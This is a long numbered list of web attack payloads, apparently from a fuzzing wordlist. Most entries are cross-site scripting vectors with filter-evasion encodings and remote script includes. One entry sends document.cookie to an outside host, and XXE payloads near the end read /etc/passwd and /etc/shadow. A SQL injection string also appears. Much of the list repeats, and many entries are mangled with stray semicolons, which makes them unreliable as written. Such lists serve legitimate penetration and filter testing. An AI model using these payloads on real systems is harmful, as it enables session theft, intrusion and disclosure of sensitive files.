1220. <img SRC='vbscript:document.vulnerable=true;'>
      
1221. 1script3document.vulnerable=true;1/script3
      
1222. <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
      
1223. <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
      
1224. <IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
      
1225. <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
      
1226. <table BACKGROUND="javascript:document.vulnerable=true;">
      
1227. <table><TD BACKGROUND="javascript:document.vulnerable=true;">
      
1228. <div STYLE="background-image: url(javascript:document.vulnerable=true;)">
      
1229. <div STYLE="background-image: url(
      javascript:document.vulnerable=true;)">
      
1230. <div STYLE="width: expression(document.vulnerable=true);">
      
1231. <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
      
1232. <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
      
1233. <XSS STYLE="xss:expression(document.vulnerable=true)">
      
1234. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
      
1235. <style TYPE="text/javascript">document.vulnerable=true;</style>
      
1236. <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
      
1237. <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
      
1238. <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
      
1239. <base HREF="javascript:document.vulnerable=true;//">
      
1240. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
      
1241. <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
      
1242. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span>
      
1243. <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
      
1244. <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
      
1245. <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
      
1246. <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
      
1247. <a href="javascript#document.vulnerable=true;">
      
1248. <div onmouseover="document.vulnerable=true;">
      
1249. <img src="javascript:document.vulnerable=true;">
      
1250. <img dynsrc="javascript:document.vulnerable=true;">
      
1251. <input type="image" dynsrc="javascript:document.vulnerable=true;">
      
1252. <bgsound src="javascript:document.vulnerable=true;">
      
1253. &<script>document.vulnerable=true;</script>
      
1254. &{document.vulnerable=true;};
      
1255. <img src=&{document.vulnerable=true;};>
      
1256. <link rel="stylesheet" href="javascript:document.vulnerable=true;">
      
1257. <iframe src="vbscript:document.vulnerable=true;">
      
1258. <img src="mocha:document.vulnerable=true;">
      
1259. <img src="livescript:document.vulnerable=true;">
      
1260. <a href="about:<script>document.vulnerable=true;</script>">
      
1261. <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
      
1262. <body onload="document.vulnerable=true;">
      
1263. <div style="background-image: url(javascript:document.vulnerable=true;);">
      
1264. <div style="behaviour: url([link to code]);">
      
1265. <div style="binding: url([link to code]);">
      
1266. <div style="width: expression(document.vulnerable=true;);">
      
1267. <style type="text/javascript">document.vulnerable=true;</style>
      
1268. <object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
      
1269. <style><!--</style><script>document.vulnerable=true;//--></script>
      
1270. <<script>document.vulnerable=true;</script>
      
1271. <![<!--]]<script>document.vulnerable=true;//--></script>
      
1272. <!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
      
1273. <img src="blah"onmouseover="document.vulnerable=true;">
      
1274. <img src="blah>" onmouseover="document.vulnerable=true;">
      
1275. <xml src="javascript:document.vulnerable=true;">
      
1276. <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
      
1277. <div datafld="b" dataformatas="html" datasrc="#X"></div>
      
1278. [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
      
1279. <style>@import'http://www.securitycompass.com/xss.css';</style>
      
1280. <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
      
1281. <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
      
1282. <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
      
1283. <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html>
      
1284. <script SRC="http://www.securitycompass.com/xss.jpg"></script>
      
1285. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-->
      
1286. <script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
      
1287. <script =">" SRC="http://www.securitycompass.com/xss.js"></script>
      
1288. <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
      
1289. <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
      
1290. <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
      
1291. <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
      
1292. <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
      
1293. <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
      
1294. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
      
1295. </script><script>alert(1)</script>
      
1296. </br style=a:expression(alert())>
      
1297. <scrscriptipt>alert(1)</scrscriptipt>
      
1298. <br size="&{alert('XSS')}">
      
1299. perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";' > out
      
1300. perl -e 'print "<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
      
1301. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1302. <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
      
1303. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1304. <~/XSS STYLE=xss:expression(alert('XSS'))>
      
1305. "><script>alert('XSS')</script>
      
1306. </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1307. XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1308. XSS STYLE=xss:e/**/xpression(alert('XSS'))>
      
1309. </XSS STYLE=xss:expression(alert('XSS'))>
      
1310. ';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
      
1311. ';';;!--";<;XSS>;=&;{()}
      
1312. <;SCRIPT>;alert(';XSS';)<;/SCRIPT>;
      
1313. <;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>;
      
1314. <;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
      
1315. <;BASE HREF=";javascript:alert(';XSS';);//";>;
      
1316. <;BGSOUND SRC=";javascript:alert(';XSS';);";>;
      
1317. <;BODY BACKGROUND=";javascript:alert(';XSS';);";>;
      
1318. <;BODY ONLOAD=alert(';XSS';)>;
      
1319. <;DIV STYLE=";background-image: url(javascript:alert(';XSS';))";>;
      
1320. <;DIV STYLE=";background-image: url(&;#1;javascript:alert(';XSS';))";>;
      
1321. <;DIV STYLE=";width: expression(alert(';XSS';));";>;
      
1322. <;FRAMESET>;<;FRAME SRC=";javascript:alert(';XSS';);";>;<;/FRAMESET>;
      
1323. <;IFRAME SRC=";javascript:alert(';XSS';);";>;<;/IFRAME>;
      
1324. <;INPUT TYPE=";IMAGE"; SRC=";javascript:alert(';XSS';);";>;
      
1325. <;IMG SRC=";javascript:alert(';XSS';);";>;
      
1326. <;IMG SRC=javascript:alert(';XSS';)>;
      
1327. <;IMG DYNSRC=";javascript:alert(';XSS';);";>;
      
1328. <;IMG LOWSRC=";javascript:alert(';XSS';);";>;
      
1329. <;IMG SRC=";http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode";>;
      
1330. Redirect 302 /a.jpg http://victimsite.com/admin.asp&;deleteuser
      
1331. exp/*<;XSS STYLE=';no\xss:noxss(";*//*";);
      
1332. <;STYLE>;li {list-style-image: url(";javascript:alert('XSS')";);}<;/STYLE>;<;UL>;<;LI>;XSS
      
1333. <;IMG SRC=';vbscript:msgbox(";XSS";)';>;
      
1334. <;LAYER SRC=";http://ha.ckers.org/scriptlet.html";>;<;/LAYER>;
      
1335. <;IMG SRC=";livescript:[code]";>;
      
1336. %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
      
1337. <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=javascript:alert(';XSS';);";>;
      
1338. <;META HTTP-EQUIV=";refresh"; CONTENT=";0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K";>;
      
1339. <;META HTTP-EQUIV=";refresh"; CONTENT=";0; URL=http://;URL=javascript:alert(';XSS';);";>;
      
1340. <;IMG SRC=";mocha:[code]";>;
      
1341. <;OBJECT TYPE=";text/x-scriptlet"; DATA=";http://ha.ckers.org/scriptlet.html";>;<;/OBJECT>;
      
1342. <;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389>;<;param name=url value=javascript:alert(';XSS';)>;<;/OBJECT>;
      
1343. <;EMBED SRC=";http://ha.ckers.org/xss.swf"; AllowScriptAccess=";always";>;<;/EMBED>;
      
1344. a=";get";;&;#10;b=";URL(";";;&;#10;c=";javascript:";;&;#10;d=";alert(';XSS';);";)";;
      
1345. eval(a+b+c+d);
      
1346. <;STYLE TYPE=";text/javascript";>;alert(';XSS';);<;/STYLE>;
      
1347. <;IMG STYLE=";xss:expr/*XSS*/ession(alert(';XSS';))";>;
      
1348. <;XSS STYLE=";xss:expression(alert(';XSS';))";>;
      
1349. <;STYLE>;.XSS{background-image:url(";javascript:alert(';XSS';)";);}<;/STYLE>;<;A CLASS=XSS>;<;/A>;
      
1350. <;STYLE type=";text/css";>;BODY{background:url(";javascript:alert(';XSS';)";)}<;/STYLE>;
      
1351. <;LINK REL=";stylesheet"; HREF=";javascript:alert(';XSS';);";>;
      
1352. <;LINK REL=";stylesheet"; HREF=";http://ha.ckers.org/xss.css";>;
      
1353. <;STYLE>;@import';http://ha.ckers.org/xss.css';;<;/STYLE>;
      
1354. <;META HTTP-EQUIV=";Link"; Content=";<;http://ha.ckers.org/xss.css>;; REL=stylesheet";>;
      
1355. <;STYLE>;BODY{-moz-binding:url(";http://ha.ckers.org/xssmoz.xml#xss";)}<;/STYLE>;
      
1356. <;TABLE BACKGROUND=";javascript:alert(';XSS';)";>;<;/TABLE>;
      
1357. <;TABLE>;<;TD BACKGROUND=";javascript:alert(';XSS';)";>;<;/TD>;<;/TABLE>;
      
1358. <;HTML xmlns:xss>;
      
1359. <;XML ID=I>;<;X>;<;C>;<;![CDATA[<;IMG SRC=";javas]]>;<;![CDATA[cript:alert(';XSS';);";>;]]>;
      
1360. <;XML ID=";xss";>;<;I>;<;B>;<;IMG SRC=";javas<;!-- -->;cript:alert(';XSS';)";>;<;/B>;<;/I>;<;/XML>;
      
1361. <;XML SRC=";http://ha.ckers.org/xsstest.xml"; ID=I>;<;/XML>;
      
1362. <;HTML>;<;BODY>;
      
1363. <;!--[if gte IE 4]>;           
      
1364. <;META HTTP-EQUIV=";Set-Cookie"; Content=";USERID=<;SCRIPT>;alert(';XSS';)<;/SCRIPT>;";>;
      
1365. <;XSS STYLE=";behavior: url(http://ha.ckers.org/xss.htc);";>;
      
1366. <;SCRIPT SRC=";http://ha.ckers.org/xss.jpg";>;<;/SCRIPT>;
      
1367. <;!--#exec cmd=";/bin/echo ';<;SCRIPT SRC';";-->;<;!--#exec cmd=";/bin/echo ';=http://ha.ckers.org/xss.js>;<;/SCRIPT>;';";-->;
      
1368. <;? echo(';<;SCR)';;
      
1369. <;BR SIZE=";&;{alert(';XSS';)}";>;
      
1370. <;IMG SRC=JaVaScRiPt:alert(';XSS';)>;
      
1371. <;IMG SRC=javascript:alert(&;quot;XSS&;quot;)>;
      
1372. <;IMG SRC=`javascript:alert(";RSnake says, ';XSS';";)`>;
      
1373. <;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>;
      
1374. <;IMG RC=&;#106;&;#97;&;#118;&;#97;&;#115;&;#99;&;#114;&;#105;&;#112;&;#116;&;#58;&;#97;&;#108;&;#101;&;#114;&;#116;&;#40;&;#39;&;#88;&;#83;&;#83;&;#39;&;#41;>;
      
1375. <;IMG RC=&;#0000106&;#0000097&;#0000118&;#0000097&;#0000115&;#0000099&;#0000114&;#0000105&;#0000112&;#0000116&;#0000058&;#0000097&;#0000108&;#0000101&;#0000114&;#0000116&;#0000040&;#0000039&;#0000088&;#0000083&;#0000083&;#0000039&;#0000041>;
      
1376. <;DIV STYLE=";background-image:\0075\0072\006C\0028';\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.10530053\0027\0029';\0029";>;
      
1377. <;IMG SRC=&;#x6A&;#x61&;#x76&;#x61&;#x73&;#x63&;#x72&;#x69&;#x70&;#x74&;#x3A&;#x61&;#x6C&;#x65&;#x72&;#x74&;#x28&;#x27&;#x58&;#x53&;#x53&;#x27&;#x29>;
      
1378. <;HEAD>;<;META HTTP-EQUIV=";CONTENT-TYPE"; CONTENT=";text/html; charset=UTF-7";>; <;/HEAD>;+ADw-SCRIPT+AD4-alert(';XSS';);+ADw-/SCRIPT+AD4-
      
1379. ";;alert(';XSS';);//
      
1380. <;/TITLE>;<;SCRIPT>;alert("XSS");<;/SCRIPT>;
      
1381. <;STYLE>;@im\port';\ja\vasc\ript:alert(";XSS";)';;<;/STYLE>;
      
1382. <;IMG SRC=";jav        ascript:alert(';XSS';);";>;
      
1383. <;IMG SRC=";jav&;#x09;ascript:alert(';XSS';);";>;
      
1384. <;IMG SRC=";jav&;#x0A;ascript:alert(';XSS';);";>;
      
1385. <;IMG SRC=";jav&;#x0D;ascript:alert(';XSS';);";>;
      
1386. <;IMG
      
1387. SRC
      
1388. =
      
1389. ";
      
1390. j
      
1391. a
      
1392. v
      
1393. a
      
1394. s
      
1395. c
      
1396. r
      
1397. i
      
1398. p
      
1399. t
      
1400. :
      
1401. a
      
1402. l
      
1403. e
      
1404. r
      
1405. t
      
1406. 
      
1407. ';
      
1408. X
      
1409. S
      
1410. S
      
1411. ';
      
1412. )
      
1413. ";
      
1414. >;
      
1415. perl -e ';print ";<;IM SRC=java\0script:alert(";XSS";)>";;';>; out
      
1416. perl -e ';print ";&;<;SCR\0IPT>;alert(";XSS";)<;/SCR\0IPT>;";;'; >; out
      
1417. <;IMG SRC="; &;#14;  javascript:alert(';XSS';);";>;
      
1418. <;SCRIPT/XSS SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1419. <;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
      
1420. <;SCRIPT SRC=http://ha.ckers.org/xss.js
      
1421. <;SCRIPT SRC=//ha.ckers.org/.j>;
      
1422. <;IMG SRC=";javascript:alert(';XSS';)";
      
1423. <;IFRAME SRC=http://ha.ckers.org/scriptlet.html <;
      
1424. <;<;SCRIPT>;alert(";XSS";);//<;<;/SCRIPT>;
      
1425. <;IMG ";";";>;<;SCRIPT>;alert(";XSS";)<;/SCRIPT>;";>;
      
1426. <;SCRIPT>;a=/XSS/
      
1427. <;SCRIPT a=";>;"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1428. <;SCRIPT =";blah"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1429. <;SCRIPT a=";blah"; ';'; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1430. <;SCRIPT ";a=';>;';"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1431. <;SCRIPT a=`>;` SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1432. <;SCRIPT>;document.write(";<;SCRI";);<;/SCRIPT>;PT SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1433. <;SCRIPT a=";>';>"; SRC=";http://ha.ckers.org/xss.js";>;<;/SCRIPT>;
      
1434. <;A HREF=";http://66.102.7.147/";>;XSS<;/A>;
      
1435. <;A HREF=";http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D";>;XSS<;/A>;
      
1436. <;A HREF=";http://1113982867/";>;XSS<;/A>;
      
1437. <;A HREF=";http://0x42.0x0000066.0x7.0x93/";>;XSS<;/A>;
      
1438. <;A HREF=";http://0102.0146.0007.00000223/";>;XSS<;/A>;
      
1439. <;A HREF=";h
      
1440. tt        p://6&;#09;6.000146.0x7.147/";>;XSS<;/A>;
      
1441. <;A HREF=";//www.google.com/";>;XSS<;/A>;
      
1442. <;A HREF=";//google";>;XSS<;/A>;
      
1443. <;A HREF=";http://ha.ckers.org@google";>;XSS<;/A>;
      
1444. <;A HREF=";http://google:ha.ckers.org";>;XSS<;/A>;
      
1445. <;A HREF=";http://google.com/";>;XSS<;/A>;
      
1446. <;A HREF=";http://www.google.com./";>;XSS<;/A>;
      
1447. <;A HREF=";javascript:document.location=';http://www.google.com/';";>;XSS<;/A>;
      
1448. <;A HREF=";http://www.gohttp://www.google.com/ogle.com/";>;XSS<;/A>;
      
1449. <script>document.vulnerable=true;</script>
      
1450. <img SRC="jav ascript:document.vulnerable=true;">
      
1451. <img SRC="javascript:document.vulnerable=true;">
      
1452. <img SRC="  javascript:document.vulnerable=true;">
      
1453. <body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
      
1454. <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
      
1455. <script <B>document.vulnerable=true;</script>
      
1456. <img SRC="javascript:document.vulnerable=true;"
      
1457. <iframe src="javascript:document.vulnerable=true; <
      
1458. <script>a=/XSS/\ndocument.vulnerable=true;</script>
      
1459. ";document.vulnerable=true;;//
      
1460. </title><SCRIPT>document.vulnerable=true;</script>
      
1461. <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
      
1462. <body BACKGROUND="javascript:document.vulnerable=true;">
      
1463. <body ONLOAD=document.vulnerable=true;>
      
1464. <img DYNSRC="javascript:document.vulnerable=true;">
      
1465. <img LOWSRC="javascript:document.vulnerable=true;">
      
1466. <bgsound SRC="javascript:document.vulnerable=true;">
      
1467. <br SIZE="&{document.vulnerable=true}">
      
1468. <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
      
1469. <link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
      
1470. <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
      
1471. <img SRC='vbscript:document.vulnerable=true;'>
      
1472. 1script3document.vulnerable=true;1/script3
      
1473. <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
      
1474. <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
      
1475. <IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
      
1476. <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
      
1477. <table BACKGROUND="javascript:document.vulnerable=true;">
      
1478. <table><TD BACKGROUND="javascript:document.vulnerable=true;">
      
1479. <div STYLE="background-image: url(javascript:document.vulnerable=true;)">
      
1480. <div STYLE="background-image: url(
      javascript:document.vulnerable=true;)">
      
1481. <div STYLE="width: expression(document.vulnerable=true);">
      
1482. <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
      
1483. <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
      
1484. <XSS STYLE="xss:expression(document.vulnerable=true)">
      
1485. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
      
1486. <style TYPE="text/javascript">document.vulnerable=true;</style>
      
1487. <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
      
1488. <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
      
1489. <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
      
1490. <base HREF="javascript:document.vulnerable=true;//">
      
1491. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
      
1492. <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
      
1493. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span>
      
1494. <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
      
1495. <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
      
1496. <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
      
1497. <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
      
1498. <a href="javascript#document.vulnerable=true;">
      
1499. <div onmouseover="document.vulnerable=true;">
      
1500. <img src="javascript:document.vulnerable=true;">
      
1501. <img dynsrc="javascript:document.vulnerable=true;">
      
1502. <input type="image" dynsrc="javascript:document.vulnerable=true;">
      
1503. <bgsound src="javascript:document.vulnerable=true;">
      
1504. &<script>document.vulnerable=true;</script>
      
1505. &{document.vulnerable=true;};
      
1506. <img src=&{document.vulnerable=true;};>
      
1507. <link rel="stylesheet" href="javascript:document.vulnerable=true;">
      
1508. <iframe src="vbscript:document.vulnerable=true;">
      
1509. <img src="mocha:document.vulnerable=true;">
      
1510. <img src="livescript:document.vulnerable=true;">
      
1511. <a href="about:<script>document.vulnerable=true;</script>">
      
1512. <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
      
1513. <body onload="document.vulnerable=true;">
      
1514. <div style="background-image: url(javascript:document.vulnerable=true;);">
      
1515. <div style="behaviour: url([link to code]);">
      
1516. <div style="binding: url([link to code]);">
      
1517. <div style="width: expression(document.vulnerable=true;);">
      
1518. <style type="text/javascript">document.vulnerable=true;</style>
      
1519. <object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
      
1520. <style><!--</style><script>document.vulnerable=true;//--></script>
      
1521. <<script>document.vulnerable=true;</script>
      
1522. <![<!--]]<script>document.vulnerable=true;//--></script>
      
1523. <!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
      
1524. <img src="blah"onmouseover="document.vulnerable=true;">
      
1525. <img src="blah>" onmouseover="document.vulnerable=true;">
      
1526. <xml src="javascript:document.vulnerable=true;">
      
1527. <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
      
1528. <div datafld="b" dataformatas="html" datasrc="#X"></div>
      
1529. [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
      
1530. <style>@import'http://www.securitycompass.com/xss.css';</style>
      
1531. <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
      
1532. <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
      
1533. <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
      
1534. <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html>
      
1535. <script SRC="http://www.securitycompass.com/xss.jpg"></script>
      
1536. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-->
      
1537. <script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
      
1538. <script =">" SRC="http://www.securitycompass.com/xss.js"></script>
      
1539. <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
      
1540. <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
      
1541. <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
      
1542. <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
      
1543. <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
      
1544. <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
      
1545. ";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(";XSS";)>;
      
1546. <;/script>;<;script>;alert(1)<;/script>;
      
1547. <;/br style=a:expression(alert())>;
      
1548. <;scrscriptipt>;alert(1)<;/scrscriptipt>;
      
1549. <;br size=";&;{alert('XSS')}";>;
      
1550. perl -e 'print ";<;IMG SRC=java\0script:alert(";XSS";)>;";;' >; out
      
1551. perl -e 'print ";<;SCR\0IPT>;alert(";XSS";)<;/SCR\0IPT>;";;' >; out
      
1552. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1553. <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
      
1554. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1555. <~/XSS STYLE=xss:expression(alert('XSS'))>
      
1556. "><script>alert('XSS')</script>
      
1557. </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1558. XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
      
1559. XSS STYLE=xss:e/**/xpression(alert('XSS'))>
      
1560. </XSS STYLE=xss:expression(alert('XSS'))>
      
1561. >"><script>alert("XSS")</script>&
      
1562. "><STYLE>@import"javascript:alert('XSS')";</STYLE>
      
1563. >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)>
      
1564. >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
      
1565. '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'
      
1566. ">
      
1567. >"
      
1568. '';!--"<XSS>=&{()}
      
1569. <IMG SRC="javascript:alert('XSS');">
      
1570. <IMG SRC=javascript:alert('XSS')>
      
1571. <IMG SRC=JaVaScRiPt:alert('XSS')>
      
1572. <IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>
      
1573. <IMGSRC=java&<WBR>#115;crip&<WBR>#116;:ale&<WBR>#114;t('XS<WBR>;S')>
      
1574. <IMGSRC=ja&<WBR>#0000118as&<WBR>#0000099ri&<WBR>#0000112t:&<WBR>#0000097le&<WBR>#0000114t(&<WBR>#0000039XS&<WBR>#0000083')>   
      
1575. <IMGSRC=javas&<WBR>#x63ript:&<WBR>#x61lert(&<WBR>#x27XSS')>
      
1576. <IMG SRC="jav
      
1577. ascript:alert(<WBR>'XSS');">
      
1578. <IMG SRC="jav
      
1579. ascript:alert(<WBR>'XSS');">
      
1580. <![CDATA[<script>var n=0;while(true){n++;}</script>]]>
      
1581. <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
      
1582. <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
      
1583. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
      
1584. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
      
1585. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
      
1586. <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
      
1587. <script>alert('XSS')</script>
      
1588. %3cscript%3ealert('XSS')%3c/script%3e
      
1589. %22%3e%3cscript%3ealert('XSS')%3c/script%3e
      
1590. <IMG SRC="javascript:alert('XSS');">
      
1591. <IMG SRC=javascript:alert("XSS")>
      
1592. <IMG SRC=javascript:alert('XSS')>      
      
1593. <img src=xss onerror=alert(1)>
      
1594. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
      
1595. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
      
1596. <IMG SRC="jav ascript:alert('XSS');">
      
